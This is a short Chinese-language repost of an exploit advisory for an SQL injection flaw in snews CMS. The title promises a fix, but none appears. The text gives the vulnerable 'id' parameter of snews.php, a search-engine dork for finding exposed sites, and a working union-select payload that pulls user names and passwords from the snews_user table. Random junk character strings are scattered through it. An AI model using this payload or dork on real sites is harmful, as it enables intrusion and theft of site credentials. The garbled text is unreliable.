CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
作者: By onestree
下载地址 : http://snewscms.com/
! B. H; x0 _; ~4 h0 R. E- s& a测试平台 : ubuntu 12.10 / win 7
) ^& [1 Z/ P+ X: G1 Z1 w9 K- Z关键词: inurl:"tanyakan pada rumput yang bergoyang"
( c1 T9 Q. O& r, Y
& J/ t) [/ {8 I4 t
*************************************************************
& h4 h2 v' S) T; F
( A2 B7 N' [7 dSQL poc:

' M9 G7 p$ ^/ phttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]
2 v; R$ w) `: x7 h
9 y: j& B: K) N9 @# s6 y; h2 i示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*

5 Q, E6 c& S( A5 {, B/ e
致谢:

! c7 o8 H. w8 F9 t. w  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder

spesial my hunny :*
7 S$ k; C5 E, Z1 H: W5 J% e